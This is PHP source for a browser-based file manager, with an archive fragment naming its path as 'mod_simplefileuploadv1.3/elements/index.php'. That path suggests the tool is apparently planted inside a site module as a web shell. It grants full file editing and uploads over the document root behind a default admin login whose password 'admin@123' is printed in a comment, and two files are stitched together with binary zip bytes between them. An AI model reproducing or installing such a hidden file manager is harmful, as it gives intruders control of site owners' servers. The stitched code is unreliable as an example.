'pls', 'cue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'map', 'lock', 'dtd', 'svg', ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } //--- templates functions /** * Show nav block * @param string $path */ function fm_show_nav_path($path) { ?>
    "; $sep = ''; if ($path != '') { $exploded = explode('/', $path); $count = count($exploded); $array = array(); $parent = ''; for ($i = 0; $i < $count; $i++) { $parent = trim($parent . '/' . $exploded[$i], '/'); $parent_enc = urlencode($parent); $array[] = "" . fm_enc(fm_convert_win($exploded[$i])) . ""; } $root_url .= $sep . implode($sep, $array); } echo '
    ' . $root_url . '
    '; ?>
    ' . $_SESSION['message'] . '

    '; unset($_SESSION['message']); unset($_SESSION['status']); } } /** * Show page header */ function fm_show_header() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); ?> PHP File Manager 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ bWFnZVJlYWR5ccllPAAAAZVJREFUeNqkk79Lw0AUx1+uidTQim4Waxfpnl1BcHMR6uLkIF0cpYOI f4KbOFcRwbGTc0HQSVQQXCqlFIXgFkhIyvWS870LaaPYH9CDy8vdfb+fey930aSUMEvT6VHVzw8x rKUX3N3Hj/8M+cZ6GcOtBPl6KY5iAA7KJzfVWrfbhUKhALZtQ6myDf1+X5nsuzjLUmUOnpa+v5r1 Z4ZDDfsLiwER45xDEATgOI6KntfDd091GidzC8vZ4vH1QQ09+4MSMAMWRREKPMhmsyr6voYmrnb2 PKEizdEabUaeFCDKCCHAdV0wTVNFznMgpVqGlZ2cipzHGtKSZwCIZJgJwxB38KHT6Sjx21V75Jcn LXmGAKTRpGVZUx2dAqQzSEqw9kqwuGqONTufPrw37D8lQFxCvjgPXIixANLEGfwuQacMOC4kZz+q GdhJS550BjpRCdCbAJCMJRkMASEIg+4Bxz4JwAwDSEueAYDLIM+QrOk6GHiRxjXSkJY8KUCvdXZ6 kbuvNx+mOcbN9taGBlpLAWf9nX8EGADoCfqkKWV/cgAAAABJRU5ErkJggg==', 'sprites' => 'iVBORw0KGgoAAAANSUhEUgAAAYAAAAAgCAMAAAAscl/XAAAC/VBMVEUAAABUfn4KKipIcXFSeXsx VlZSUlNAZ2c4Xl4lSUkRDg7w8O/d3d3LhwAWFhYXODgMLCx8fHw9PT2TtdOOAACMXgE8lt+dmpq+ fgABS3RUpN+VUycuh9IgeMJUe4C5dUI6meKkAQEKCgoMWp5qtusJmxSUPgKudAAXCghQMieMAgIU abNSUlJLe70VAQEsh85oaGjBEhIBOGxfAoyUbUQAkw8gui4LBgbOiFPHx8cZX6PMS1OqFha/MjIK VKFGBABSAXovGAkrg86xAgIoS5Y7c6Nf7W1Hz1NmAQB3Hgx8fHyiTAAwp+eTz/JdDAJ0JwAAlxCQ UAAvmeRiYp6ysrmIAABJr/ErmiKmcsATpRyfEBAOdQgOXahyAAAecr1JCwHMiABgfK92doQGBgZG AGkqKiw0ldYuTHCYsF86gB05UlJmQSlra2tVWED////8/f3t9fX5/Pzi8/Px9vb2+/v0+fnn8vLf 7OzZ6enV5+eTpKTo6Oj6/v765Z/U5eX4+Pjx+Pjv0ojWBASxw8O8vL52dnfR19CvAADR3PHr6+vi 4uPDx8v/866nZDO7iNT335jtzIL+7aj86aTIztXDw8X13JOlpKJoaHDJAACltratrq3lAgKfAADb 4vb76N2au9by2I9gYGVIRkhNTE90wfXq2sh8gL8QMZ3pyn27AADr+uu1traNiIh2olTTshifodQ4 ZM663PH97+YeRq2GqmRjmkGjnEDnfjLVVg6W4f7s6/p/0fr98+5UVF6wz+SjxNsmVb5RUVWMrc7d zrrIpWI8PD3pkwhCltZFYbNZja82wPv05NPRdXzhvna4uFdIiibPegGQXankxyxe0P7PnOhTkDGA gBrbhgR9fX9bW1u8nRFamcgvVrACJIvlXV06nvtdgON4mdn3og7AagBTufkucO7snJz4b28XEhIT sflynsLEvIk55kr866aewo2YuYDrnFffOTk6Li6hgAn3y8XkusCHZQbt0NP571lqRDZyMw96lZXE s6qcrMmJaTmVdRW2AAAAbnRSTlMAZodsJHZocHN7hP77gnaCZWdx/ki+RfqOd/7+zc9N/szMZlf8 z8yeQybOzlv+tP5q/qKRbk78i/vZmf798s3MojiYjTj+/vqKbFc2/vvMzJiPXPzbs4z9++bj1XbN uJxhyMBWwJbp28C9tJ6L1xTnMfMAAA79SURBVGje7Jn5b8thHMcfzLDWULXq2upqHT2kbrVSrJYx NzHmviWOrCudqxhbNdZqHauKJTZHm0j0ByYkVBCTiC1+EH6YRBY/EJnjD3D84PMc3++39Z1rjp+8 Kn189rT5Pt/363k+3YHEDOrCSKP16t48q8U1IysLAUKZk1obLBYDKjAUoB8ziLv4vyQLQD+Lcf4Q jvno90kfDaQTRhcioIv7QPk2oJqF0PsIT29RzQdOEhfKG6QW8lcoLIYxjWPQD2GXr/63BhYsWrQA fYc0JSaNxa8dH4zUEYag32f009DTkNTnC4WkpcRAl4ryHTt37d5/ugxCIIEfZ0Dg4poFThIXygSp hfybmhSWLS0dCpDrdFMRZubUkmJ2+d344qIU8sayN8iFQaBgMDy+FWA/wjelOmbrHUKVtQgxFqFc JeE2RpmLEIlfFazzer3hcOAPCQiFasNheAo9HQ1f6FZRTgzs2bOnFwn8+AnG8d6impClTkSjCXWW kH80GmUGWP6A4kKkQwG616/tOhin6kii3dzl5YHqT58+bf5KQdq8IjCAg3+tk3NDCoPZC2fQuGcI 7+8nKQMk/b41r048UKOk48zln4MgesydOw0NDbeVCA2B+FVaEIDz/0MCSkOlAa+3tDRQSgW4t1MD +7d1Q8DA9/sY7weKapZ/Qp+tzwYDtLyRiOrBANQ0/3hTMBIJNsXPb0GM5ANfrLO3telmTrWXGBG7 fHVHbWjetKKiPCJsAkQv17VNaANv6zJTWAcvmCEtI0hnII4RLsIIBIjmHStXaqKzNCtXOvj+STxl OXKwgDuEBuAOEQDxgwDIv85bCwKMw6B5DzOyoVMCHpc+Dnu9gUD4MSeAGWACTnCBnxgorgGHRqPR Z8OTg5ZqtRoEwLODy79JdfiwqgkMGBAlJ4caYK3HNGGCHedPBLgqtld30IbmLZk2jTsB9jadboJ9 Aj4BMqlAXCqV4e3udGH8zn6CgMrtQCUIoPMEbj5Xk3jS3N78UpPL7R81kJOTHdU7QACff/9kAbD/ IxHvEGTcmi/1+/NlMjJsNXZKAAcIoAkwA0zAvqOMfQNFNcOsf2BGAppotl6D+P0fi6nOnFHFYk1x CzOgvqEGA4ICk91uQpQee90V1W58fdYDx0Ls+JnmTwy02e32iRNJB5L5X7y4/Pzq1buXX/lb/X4Z SRtTo4C8uf6/Nez11dRI0pkNCswzA+Yn7e3NZi5/aKcYaKPqLBDw5iHPKGUutCAQoKqri0QizsgW lJ6/1mqNK4C41bo2P72TnwEMEEASYAa29SCBHz1J2fdo4ExRTbHl5NiSBWQ/yGYCLBnFLbFY8PPn YCzWUpxhYS9IJDSIx1iydKJpKTPQ0+lyV9MuCEcQJw+tH57Hjcubhyhy00TAJEdAuocX4Gn1eNJJ wHG/xB+PQ8BC/6/0ejw1nAAJAeZ5A83tNH+kuaHHZD8A1MsRUvZ/c0WgPwhQBbGAiAQz2CjzZSJr GOxKw1aU6ZOhX2ZK6GYZ42ZoChbgdDED5UzAWcLRR4+cA0U1ZfmiRcuRgJkIYIwBARThuyDzE7hf nulLR5qKS5aWMAFOV7WrghjAAvKKpoEByH8J5C8WMELCC5AckkhGYCeS1lZfa6uf2/AuoM51yePB DYrM18AD/sE8Z2DSJLaeLHNCr385C9iowbekfHOvQWBN4dzxXhUIuIRPgD+yCskWrs3MOETIyFy7 sFMC9roYe0EA2YLMwIGeCBh68iDh5P2TFUOhzhs3LammFC5YUIgEVmY/mKVJ4wTUx2JvP358G4vV 8wLo/TKKl45cWgwaTNNx1b3M6TwNh5DuANJ7xk37Kv+RBDCAtzMvoPJUZSUVID116pTUw3ecyPZI vHIzfEQXMAEeAszzpKUhoR81m4GVNnJHyocN/Xnu2NLmaj/CEVBdqvX5FArvXGTYoAhIaxUb2GDo jAD3doabCeAMVFABZ6mAs/fP7sCBLykal1KjYemMYYhh2zgrWUBLi2r8eFVLiyDAlpS/ccXIkSXk IJTIiYAy52l8COkOoAZE+ZtMzEA/p8ApJ/lcldX4fc98fn8Nt+Fhd/Lbnc4DdF68fjgNzZMQhQkQ UKK52mAQC/D5fHVe6VyEDBlWqzXDwAbUGQEHdjAOgACcAGegojsRcPAY4eD9g7uGonl5S4oWL77G 17D+fF/AewmzkDNQaG5v1+SmCtASAWKgAVWtKKD/w0egD/TC005igO2AsctAQB6/RU1VVVUmuZwM CM3oJ2CB7+1xwPkeQj4TUOM5x/o/IJoXrR8MJAkY9ab/PZ41uZwAr88nBUDA7wICyncyypkAzoCb CbhIgMCbh6K8d5jFfA3346qUePywmtrDfAdcrmmfZeMENNbXq7Taj/X1Hf8qYk7VxOlcMwIRfbt2 7bq5jBqAHUANLFlmRBzyFVUr5NyQgoUdqcGZhMFGmrfUA5D+L57vcP25thQBArZCIkCl/eCF/IE5 6PdZHzqwjXEgtB6+0KuMM+DuRQQcowKO3T/WjE/A4ndwAmhNBXjq4q1wyluLamWIN2Aebl4uCAhq x2u/JUA+Z46Ri4aeBLYHYAEggBooSHmDXBgE1lnggcQU0LgLUMekrl+EclQSSgQCVFrVnFWTKav+ xAlY35Vn/RTSA4gB517X3j4IGMC1oOsHB8yEetm7xSl15kL4TVIAfjDxKjIRT6Ft0iQb3da3GhuD QGPjrWL0E7AlsAX8ZUTr/xFzIP7pRvQ36SsI6Yvr+QN45uN607JlKbUhg8eAOgB2S4bFarVk/PyG 6Sss4O/y4/WL7+avxS/+e8D/+ku31tKbRBSFXSg+6iOpMRiiLrQ7JUQ3vhIXKks36h/QhY+FIFJ8 pEkx7QwdxYUJjRC1mAEF0aK2WEActVVpUbE2mBYp1VofaGyibW19LDSeOxdm7jCDNI0rv0lIvp7v nnPnHKaQ+zHV/sxcPlPZT5Hrp69SEVg1vdgP+C/58cOT00+5P2pKreynyPWr1s+Ff4EOOzpctTt2 rir2A/bdxPhSghfrt9TxcCVlcWU+r5NH+ukk9fu6MYZL1NtwA9De3n6/dD4GA/N1EYwRxXzl+7NL i/FJUo9y0Mp+inw/Kgp9BwZz5wxArV5e7AfcNGDcLMGL9XXnEOpcAVlcmXe+QYAJTFLfbcDoLlGv /QaeQKiwfusuH8BB5EMnfYcKPGLAiCjmK98frQFDK9kvNZdW9lPk96cySKAq9gOCxmBw7hd4LcGl enQDBsOoAW5AFlfkMICnhqdvDJ3pSerDRje8/93GMM9xwwznhHowAINhCA0gz5f5MOxiviYG8K4F XoBHjO6RkdNuY4TI9wFuoZBPFfd6vR6EOAIaQHV9vaO+sJ8Ek7gAF5OQ7JeqoJX9FPn9qYwSqIr9 gGB10BYMfqkOluBIr6Y7AHQz4q4667k6q8sVIOI4n5zjARjfGDtH0j1E/FoepP4dg+Nha/fwk+Fu axj0uN650e+vxHqhG6YbptcmbSjPd13H8In5TRaU7+Ix4GgAI5Fx7qkxIuY7N54T86m89mba6WTZ Do/H2+HhB3Cstra2sP9EdSIGV3VCcn+Umlb2U+T9UJmsBEyqYj+gzWJrg8vSVoIjPW3vWLjQY6fx DXDcKOcKNBBxyFdTQ3KmSqOpauF5upPjuE4u3UPEhQGI66FhR4/iAYQfwGUNgx7Xq3v1anxUqBdq j8WG7mlD/jzfcf0jf+0Q8s9saoJnYFBzkWHgrC9qjUS58RFrVMw3ynE5IZ/Km2lsZtmMF9p/544X DcAEDwDAXo/iA5bEXd9dn2VAcr/qWlrZT5H7LSqrmYBVxfsBc5trTjbbeD+g7crNNuj4lTZYocSR nqa99+97aBrxgKvV5WoNNDTgeMFfSCYJzmi2ATQtiKfTrZ2t6daeHiLeD81PpVLXiPVmaBgfD1eE hy8Nwyvocb1X7tx4a7JQz98eg/8/sYQ/z3cXngDJfizm94feHzqMBsBFotFohIsK+Vw5t0vcv8pD 0SzVjPvPdixH648eO1YLmIviUMp33Xc9FpLkp2i1sp8i91sqzRUEzJUgMNbQdrPZTtceBEHvlc+f P/f2XumFFUoc6Z2Nnvu/4o1OxBsC7kAgl2s4T8RN1RPJ5ITIP22rulXVsi2LeE/aja6et4T+Zxja /yOVEtfzDePjfRW2cF/YVtGH9LhebuPqBqGeP9QUCjVd97/M82U7fAg77EL+WU0Igy2DDDMLDeBS JBq5xEWFfDl3MiDmq/R0wNvfy7efdd5BAzDWow8Bh6OerxdLDDgGHDE/eb9oAsp+itxvqaw4QaCi Eh1HXz2DFGfOHp+FGo7RCyuUONI7nZ7MWNzpRLwhj/NE3GRKfp9Iilyv0XVpuqr0iPfk8ZbQj/2E /v/4kQIu+BODhwYhjgaAN9oHeqV6L/0YLwv5tu7dAXCYJfthtg22tPA8yrUicFHlfDCATKYD+o/a 74QBoPVHjuJnAOIwAAy/JD9Fk37K/auif0L6LRc38IfjNQRO8AOoYRthhuxJCyTY/wwjaKZpCS/4 BaBnG+NDQ/FGFvEt5zGSRNz4fSPgu8D1XTqdblCnR3zxW4yHhP7j2M/fT09dTgnr8w1DfFEfRhj0 SvXWvMTwYa7gb8yA97/unQ59F5oBJnsUI6KcDz0B0H/+7S8MwG6DR8Bhd6D4Jj9GQlqPogk/JZs9 K/gn5H40e7aL7oToUYAfYMvUnMw40Gkw4Q80O6XcLMRZFgYwxrKl4saJjabqjRMCf6QDdOkeldJ/ BfSnrvWLcWgYxGX6KfPswEKLZVL6yrgXvv6g9uMBoDic3B/9e36KLvDNS7TZ7K3sGdE/wfoqDQD9 NGG+9AmYL/MDRM5iLo9nqDEYAJWRx5U5o+3SaHRaplS8H+Faf78Yh4bJ8k2Vz24qgJldXj8/DkCf wDy8fH/sdpujTD2KxhxM/ueA249E/wTru/Dfl05bPkeC5TI/QOAvbJjL47TnI8BDy+KlOJPV6bJM yfg3wNf+r99KxafOibNu5IQvKKsv2x9lTtEFvmGlXq9/rFeL/gnWD2kB6KcwcpB+wP/IyeP2svqp 9oeiCT9Fr1cL/gmp125aUc4P+B85iX+qJ/la0k/Ze0D0T0j93jXTpv0BYUGhQhdSooYAAAAASUVO RK5CYII=', ); } PKYy>\kv+mod_simplefileuploadv1.3/elements/index.phpnuW+A 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'admin' => '$2y$10$hXMEvL853yVcJ.wCCZtlj.1SloGD.xt9Ux8Kw80xD8ypjG0RgYHWq', //admin@123 ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( ); // Global readonly, including when auth is not being used $global_readonly = false; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong // $_SERVER['HTTP_HOST'].'/folder' $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'm/d/Y g:i A'; // Path display mode when viewing file information // 'full' => show full path // 'relative' => show path relative to root_path // 'host' => show path on the host $path_display_mode = 'full'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Available rules are 'google', 'microsoft' or false // Google => View documents using Google Docs Viewer // Microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB) // chunk size used for upload // eg. decrease to 1MB if nginx reports problem 413 entity too large $upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB) // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the external config file, try to use it to override the default config above [config.php] // sample config - https://tinyfilemanager.github.io/config-sample.txt $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } // External CDN resources that can be used in the HTML (replace for GDPR compliance) $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // upload chunk size define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); // Prevent logout issue after page was cached session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } //Generating CSRF Token if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } // Validate connection IP if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Checking if the user is logged in or not. If not, it will show the login form. if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?>
    ".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // Handle all AJAX Request if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { 